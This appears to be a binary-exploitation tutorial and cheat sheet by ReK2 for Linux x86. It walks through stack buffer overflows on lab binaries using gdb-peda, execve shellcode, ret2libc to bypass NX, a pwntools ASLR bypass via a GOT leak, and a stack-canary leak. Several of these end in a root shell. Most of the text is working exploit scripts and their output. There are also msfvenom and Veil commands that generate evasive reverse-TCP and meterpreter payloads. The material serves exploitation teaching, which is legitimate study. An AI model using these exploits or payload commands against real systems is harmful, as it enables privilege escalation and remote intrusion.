add license file
add link to ctf-wiki into to canary for people to follow up
add explanation to the steps to bypass canary
By ReK2 - Hispagatos.org
[[TOC]]
readelf -a /bin/ping
find / -perm /4000 2>/dev/null
find / -perm /2000 2>/dev/null
find / -perm /6000 2>/dev/null #to find files with both SUID and SGID
checksec --file=/bin/ping
ldd /bin/ls
nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vm U | grep -v "_" | cut -d " " -f3
nm -D /usr/aarch64-linux-gnu/lib/libc-*.so | grep -v "_" | cut -d " " -f3 # on arch GNU/Linux
echo "core" > /proc/sys/kernel/core_pattern
echo "core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern #RTFM for the values
disas main
disas printme
x00000000 lea eax,[ebp-0x200]
p $ebp-0x200
x/4wx 0xffffccb8 # content value of memory addres hex
x/4ws 0xffffccb8 # from memory point to 4 addresses
x/100wx 0xffffccb8 #from memory point to 100 addresses
x/s 0xbffff7d2
0xbffff7d2: "AAAAAAAA"
x/wx $esp
gdb -q ./executable ./core
vmmap # equiv to cat /proc/pid/maps where pid is the pid of the binary running.
set $eip=0x80492ce
ruby -e 'puts "AAAAAAAAA" * 700' ruby -e "puts 'A'*700" > input.txt ruby -e 'puts "A"*516 + "B"*4 + "C"*180' > input2.txt
python -c 'print "A"*2000' > payload.txt
Ruby:
pattern_create.rb
pattern_offset.rb
pattern_create -- Generate a cyclic pattern:
pattern create 700 pattern.txt
run < pattern.txt
pattern_offset -- Search for offset of a value in cyclic pattern
Stopped reason: SIGSEGV
0x4e734138 in ?? ()
gdb-peda$ pattern offset 0x4e734138
1316176184 found at offset: 516
x/20wx $esp-0x250
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.10 lport=6667 -b "\x00" -f python
veil -t Ordnance --list-payloads
veil -t Ordnance --list-encoders
veil -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
veil -t Evasion --list-payloads
veil -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o rek2test
veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o rek2
The countermeasures start to matter on the way from the EIP control to shellcode When proper protections are in place, the buffer may have an unknown address and may not be executable at all.
NoExecute or DEP Data Execution Prevention
ASLR Address Space Layout Randomization
Stack Cookie
-fstack-protector-all
RELRO Relocation read only -what it does:
Abuse not used functions and forgotten code
gdb -q ./code-insecure2
info functions
...
0x08049196 helper
...
gdb-peda$ p helper
$1 = {<text variable, no debug info>} 0x8049196 <helper>
gdb-peda$ disas helper
Dump of assembler code for function helper:
0x08049196 <+0>: push ebp
0x08049197 <+1>: mov ebp,esp
0x08049199 <+3>: sub esp,0x8
0x0804919c <+6>: sub esp,0xc
0x0804919f <+9>: push 0x804a008
0x080491a4 <+14>: call 0x8049060 <system@plt>
0x080491a9 <+19>: add esp,0x10
0x080491ac <+22>: nop
0x080491ad <+23>: leave
0x080491ae <+24>: ret
End of assembler dump.
ruby -e 'puts "A"*516 + "\x96\x91\x04\x08" + "C"*180' > exploit.txt
gdb-peda$ run < 1.txt
Starting program: /home/rek2/keybase/private/rek2/code-insecure2 < exploit.txt
User provided 700 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Attaching after process 1043228 vfork to child process 1043229]
[New inferior 2 (process 1043229)]
[Detaching vfork parent process 1043228 after child exit]
[Inferior 1 (process 1043228) detached]
[Inferior 2 (process 1043229) exited with code 0177]
ruby -e 'puts "A"*1012 + "\xcb\x84\x04\x08"' > exploit.txt
(cat exploit.txt; cat) | code-insecure2
This will keep the stdin open, with the second cat.Exploit with shellcode and with fixed address ( very unreliable ) also no need to bypass system proteccions in a moderm linux system you will rarely find a binary that can be exploited this easy.. but we have to know the core idea to add later on bypassing of regular binary protections.
Examine the binary and find proper offset to precisely overwrite the EIP with our custom shellcode
23213233 found at offset: 150
now that we know the offset lets try it.
with the proper payload length, for testing use "BBBB" for example.
payload = "A"*150
payload += "BBBB"
print payload
and then ...
gdb -q ./binary
gdb-peda$ run `python exploit.py`
...
...
Stopped reason: SIGSEGV
0x42424242 in ?? ()
now we know we can control the EIP, it has been overwritten by B's (x42 in hex)
we need to find where does the buffers of A's (x41 in hex ) starts so we know where to put our shellcode
lets inspect the contect of ESP minus de value close to the buffer length (150)
x/30wx $esp-0x150
now we can see the buffer starts at some memory address
0xbffff2b0 + 0x6 = 0xbffff2b6
we going to use one not so close to the start just in case... so falls into the A's (x41)
now you can implement the shellcode with the payload something like:
**[NOPS][Shellcode][EIP points to the start of the A's buffer or a bit after]
But first lets try with a simple shellcode using \xcc
xcc is a debugger breakpoint instruction named INT3, a SIGTRAP, will stop the execution as if a breakpoint was set
payload = "\xcc"*150
payload += "\xe0\xf2\xff\xbf" #EIP = 0xbffff2e0
print payload
run this on gdb and you should get a SIGTRAP
Stopped reason: SIGTRAP
Examine the EIP, we will see many sigtraps because we multimple by 150
x/40i $eip
lets examine $eip-0x20 so we can see the start of the buffer, you should see int3 starting address
x/40i $eip-0x20
lets do more test to the exploit:
Change the first 50 bytes to NOP's, so we hit the shellcode for sure.
create a shellcode placeholder - an INT3 instruction that we are supposed to hit.
Fill rest of buffer with anything
sc = "\xcc" #INT3
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload
run
gdb-peda$ run `python exploit.py`
the program now is on a SIGTRAP, and if we check the EIP dump the next instruction is the A's part of the buffer
Lets do the exploit for GDB:
create shellcode with any of your shellcode tools or manually and take out de INT3 since we do not need o test anymore
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload
now open the binary in GDB and run python exploit.py
you should get a shell
works on GDB but this will change most likely outside of GDB.
Lets do the finish exploit:
we run the exploit.py outside gdb and hopefully get a core dump file
remember to run ulimit -c unlimited
we run gdb with the binary and the core dump
gdb ./binary ./core
inside lets inspect why is not running outside of GDB
x/40wx $esp-0x200
we see that the address we use has no NODS nor A's, instead is a regular memory address so is not good for us.
We need to modify the address, pick one that you see that hits the NOD's example.
0xbffffr2f0: 0x90909090 0x90909090 0x90909090 0x90909090
so we know at 0xbffff2f0 it will hit the NOD's x90 for sure
lets use that in our exploit:
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xf0\xf2\xff\xbf"
print payload
Lets run the exploit against the binary
./binary `python exploit.py`
We get a root shell!!
bypass NX
In order to execute a function that is in libc:
checksec --file=unsecure-bypassNX
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 2 binary-bypassNX
it does so lets bypass it.#!/usr/bin/env ruby
buffer = "A"*316 #offset
buffer += "BBBB"
buffer += "CCCC"
buffer += "DDDD"
buffer += "EEEE"
puts buffer
run this on GDB.
$ ruby exploit.rb > exploit.txt
gdb-peda$ run < exploit.txt
lets examine the stack at the moment of the crash
we can see the addition to the buffer was placed there
gdb-peda$ x/8wx $esp
0xffffceb0: 0x43434343 0x44444444 0x45454545 0xf7d94e0a
0xffffcec0: 0x00000001 0xffffcf54 0xffffcf5c 0xffffcee4
gdb-peda$ x/8wx $esp-4
0xffffceac: 0x42424242 0x43434343 0x44444444 0x45454545
0xffffcebc: 0xf7d94e0a 0x00000001 0xffffcf54 0xffffcf5c
now picture:
man system
...
int system(const char *command);
$ find /usr/ -name libc.so.6 2>/dev/null
/usr/aarch64-linux-gnu/lib/libc.so.6
/usr/lib/libc.so.6
$ readelf -s /usr/aarch64-linux-gnu/lib/libc.so.6 | grep "system"
...
1383: 0000000000042148 40 FUNC WEAK DEFAULT 13 system@@GLIBC_2.17
...
we have 0x42148
now in GDB we run vmmap
gdb-peda$ vmmap libc
Start End Perm Name
...
0xf7d93000 0xf7eea000 r-xp /usr/lib32/libc-2.31.so
0xf7eea000 0xf7f59000 r--p /usr/lib32/libc-2.31.so
...
we choose the executable address
and now we calculate the address with the two values we got.
gdb-peda$ p 0xf7d93000 + 0x42148
ok write down this address! we will use it to subtitute BBBB.
p system
p exit
this will substitute the CCCC box in our exploit.gdb-peda$ break main
gdb-peda$ find /bin
Searching for '/bin' in: None ranges
Found 19 results, display max 19 items:
libc : 0xf7f0432b ("/bin/sh")
libc : 0xf7f05803 ("/bin:/usr/bin")
libc : 0xf7f0580c ("/bin")
libc : 0xf7f05c71 ("/bin/csh")
libc : 0xf7f0a26c ("/bin:/usr/bin")
libc : 0xf7f0a275 ("/bin")
[stack] : 0xffffd17f ("/bin/zsh")
...
...
- Manual way, only for local exploitation, example: priviledge escalation.
export SHELL='/bin/sh'
Now it should be findable at the bottom of the stack, near other enviroment variables. Also Peda will be able to locate it.
- We will use /bin/sh address 0xf7f0432b
- 0xf7f0432b will be on our DDDD box
#!/usr/bin/env ruby
buffer = "A"*516
buffer += "\x00\xaa\xdb\xf7"
buffer += "\x70\xd5\xda\xf7"
buffer += "\x2b\x43\xf0\xf7"
#buffer += "EEEE" # not used for this exploit. system() only needs 1 argument
puts buffer
$ ./exploit-bypassNX.rb > exploit-bypassNX.txt
gdb-peda$ run < exploit-bypassNX.txt
...
...
Attaching after process 488838 vfork to child process 488847]
[New inferior 2 (process 488847)]
[Detaching vfork parent process 488838 after child exec]
[Inferior 1 (process 488838) detached]
process 488847 is executing new program: /usr/bin/bash
process 488847 is executing new program: /usr/bin/bash
[Inferior 2 (process 488847) exited normally]
...
...
as you can see it run /usr/bin/bashls -alh binary-bypassNX
-rwsr-sr-x 1 root root 16K abr 1 05:41 binary-bypassNX
❯ (cat ./exploit-bypassNX.txt; cat) | ./binary-bypassNX
User provided 529 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
whoami
root
bypass DEP and ASLR
similar technique than our simple ret2libc bypass NX exploit but with ASLR we can't reuse some addresses since they keep changing.
We not going to go into details mych since is similar with added complications
For this we going to enhance our technique with an information leak
ASLR does not affect PLT or GOT
we going to abuse the fact that plt/got are not randomized themselfs but after the loader resolves the function names, got points to libc, libc is randomized but we can abuse the fact that we have a non-randomized pointer to the randomized localtion, ha ha just follow on...
Having on libc address will allow us to calculate all the other addresses we need dynamically
We will exploit once, get the leaked address to figure out the rest of what we need then re-exploit to get shell with the new information.
#!/usr/bin/python
from pwn import *
r = process('./exploitme')
b = ELF('./exploitme')
# ldd ./exploitme
# libc.so.6 => /usr/lib32/libc.so.6 (0xf7d76000)
libc = ELF('/usr/lib32/libc.so.6')
puts_plt = b.symbols["puts"]
puts_got = b.symbols['got.puts']
main = b.symbols['main']
offset = b'A'*120
EIP = p32(puts_plt) #EIP overwrite
RET = p32(main) #return address
ARG = p32(puts_got) #argument to puts()
payload = offset + EIP + RET + ARG
r.recvuntil('name: ') # wait until this
r.sendline(payload)
r.recvline()
leak = u32(r.recvline()[:4])
print (leak)
log.info('leaked value, puts@libc is at: {}'.format(hex(leak))) # The leaked value is printed.
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
exit = libc_base + libc.symbols['exit']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
log.info('system@libc is at: {}'.format(hex(system)))
log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))
payload = ""
payload = b'B'*132
payload += p32(system) #EIP overwrite
payload += p32(binsh) #argument to puts()
# reexploit now that we bypass
log.info('Re-exploiting the main().')
r.recvuntil('name: ') # wait until this
r.sendline(payload)
r.interactive()
r.close()
also bypass ASLR and NX because we going to use a ret2function-style attack, so the non-executable stack didn't matter here.
we will load and analize the binary inside gdb, show all functions, etc.
look in the dissamble where the call to __stack_chk_fail is with the respective mov, xor, je, call to figure out where the canary is checked.
0x080492bd <+86>: mov eax,DWORD PTR [ebp-0xc]
0x080492c0 <+89>: xor eax,DWORD PTR gs:0x14
0x080492c7 <+96>: je 0x80492ce <vulfunc+103>
0x080492c9 <+98>: call 0x80493a0 <__stack_chk_fail_local>
0x080492ce <+103>: mov ebx,DWORD PTR [ebp-0x4]
now add a break on the nop instruction right before the canary is checked
...
0x080492bc <+85>: nop
...
gdb-peda$ break *0x080492bc
Breakpoint 1 at 0x80492bc
run the program inside gdb with a long string or pass a long string of A's to the input until the protection will dissalow execution in some cases we can figure out the number by disassambling the binary.
ruby -e "puts 'A'*200"
gdb-peda$ run
Starting program: /home/rek2/keybase/private/rek2/stackcookiebypass/canary
Hello Hacker!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x804c000 --> 0x804bf00 --> 0x1
ECX: 0xffffcda0 --> 0xf7f58ce0 --> 0xfbad2887
EDX: 0xc9
ESI: 0xf7f57e24 --> 0x1e4d2c
EDI: 0xf7f57e24 --> 0x1e4d2c
EBP: 0xffffce48 ('A' <repeats 88 times>, "\n")
ESP: 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
EIP: 0x80492bc (<vulnfunc+85>: nop)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80492b2 <vuln+75>: add DWORD PTR [ebp-0x74],0x1
0x80492b6 <vuln+79>: cmp DWORD PTR [ebp-0x74],0x1
0x80492ba <vuln+83>: jle 0x804928d <vuln+38>
=> 0x80492bc <vuln+85>: nop
0x80492bd <vuln+86>: mov eax,DWORD PTR [ebp-0xc]
0x80492c0 <vuln+89>: xor eax,DWORD PTR gs:0x14
0x80492c7 <vuln+96>: je 0x80492ce <vulnfunc+103>
0x80492c9 <vuln+98>: call 0x80493a0 <__stack_chk_fail_local>
[------------------------------------stack-------------------------------------]
0000| 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
0004| 0xffffcdd4 --> 0x2
0008| 0xffffcdd8 ('A' <repeats 200 times>...)
0012| 0xffffcddc ('A' <repeats 196 times>, "\n")
0016| 0xffffcde0 ('A' <repeats 192 times>, "\n")
0020| 0xffffcde4 ('A' <repeats 188 times>, "\n")
0024| 0xffffcde8 ('A' <repeats 184 times>, "\n")
0028| 0xffffcdec ('A' <repeats 180 times>, "\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080492bc in vulnfunc ()
gdb-peda$
Lets check $ebp-0xc value
gdb-peda$ x/wx $ebp-0xc
0xffffce3c: 0x0b9f230a
gdb-peda$ x/40wx $ebp-0xc
0xffffce3c: 0x0b9f230a<- 0x0804a010 0x0804c000 0xffffce58
0xffffce4c: 0x08049309 0xffffce70 0x00000000 0x00000000
0xffffce5c: 0xf7d91ee5 0xf7f57e24 0xf7f57e24 0x00000000
0xffffce6c: 0xf7d91ee5 0x00000001 0xffffcf04 0xffffcf0c
0xffffce7c: 0xffffce94 0xf7f57e24 0x00000000 0xffffcee8
0xffffce8c: 0x00000000 0xf7ffcfcc 0x00000000 0xf7f57e24
0xffffce9c: 0xf7f57e24 0x00000000 0x4b1644b3 0x06b7e2a3
0xffffceac: 0x00000000 0x00000000 0x00000000 0x00000001
0xffffcebc: 0x080490c0 0x00000000 0xf7fe74b4 0xf7fe1e50
0xffffcecc: 0x0804c000 0x00000001 0x080490c0 0x00000000
pattern create 200
gdb-peda$ x/wx $ebp-0xc
0xffffce3c: 0x41684141
gdb-peda$ pattern offset 0x41684141
1097351489 found at offset: 100
[-------------------------------------code-------------------------------------]
0x80492bd <vulnfunc+86>: mov eax,DWORD PTR [ebp-0xc]
0x80492c0 <vulnfunc+89>: xor eax,DWORD PTR gs:0x14
0x80492c7 <vulnfunc+96>: je 0x80492ce <vulnfunc+103>
=> 0x80492c9 <vulnfunc+98>: call 0x80493a0 <__stack_chk_fail_local>
0x80492ce <vulnfunc+103>: mov ebx,DWORD PTR [ebp-0x4]
0x80492d1 <vulnfunc+106>: leave
0x80492d2 <vulnfunc+107>: ret
0x80492d3 <main>: lea ecx,[esp+0x4]
No argument
[------------------------------------stack-------------------------------------]
gdb-peda$ set $eip=0x80492ce
gdb-peda$ c
Continuing.
...
...
...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414e41 in ?? ()
gdb-peda$ pattern offset 0x41414e41
1094798913 found at offset: 116
ruby -e "puts 'A'*100"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ x/wx $ebp-0xc
0xffffce3c: 0xb9acd80a
gdb-peda$ x/4wx $ebp-0xc-0xc
0xffffce30: 0x41414141 0x41414141 0x41414141 0xb9acd80a
gdb-peda$ set {int}0xffffce3c = 0xb9acd800
gdb-peda$ x/wx $ebp-0xc
0xffffce3c: 0xb9acd800
Continuing.
[Inferior 1 (process 183706) exited normally]
Warning: not running
so now we have proven tha the binary is vulnerable to information leakage.
we also now we ca force a leakage to know the value of the canary with out causing an overflow, since we know the correct value
we can use this to cause a legitimate overflow in our advantage with a valid canary to take over control of the RET address and set the EIP to for example /bin/sh address like we did on the bypassing ASRL/DEP exploit.
We already walked you on how to create a exploit before and pwntools so here is the resulting exploit, like before make sure you follow up and expand on this topic yourself.
Completed exploit:
#!/usr/bin/python
from pwn import *
import struct
r = process('./canary')
get_shell = b'\xd6\x91\x04\x08' #0x080491d6
payload = b'A'*100
r.recvuntil('Hello Hacker!') # wait until this
r.sendline(payload)
r.recvuntil("A"* 100)
Canary = u32(r.recv(4))-0xa
log.info('Canary:'+hex(Canary))
payload = ""
payload = b'A'*100
payload += p32(Canary)
payload += b'A'*12
payload += get_shell
r.send(payload)
r.recv()
r.interactive()
r.close()
❯ ./exploit-pwntools.py
[+] Starting local process './canary': pid 1415295
[*] Canary:0x42aee700
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ whoami
root
$ id
uid=0(root) gid=1000(rek2) grupos=1000(rek2),10(wheel),91(video),92(audio),100(users),108(vboxusers),209(cups),967(realtime),972(docker),990(dradis-ce),991(libvirt),1006(gamemode)
$
(cat exploit.txt; cat) | code-insecure2
(cat exploit.txt; echo id; echo ls) | ./code-insecure1
the first cat simply prints the exploit file’s content, and the second one allows to hold the stdin open for the user’s input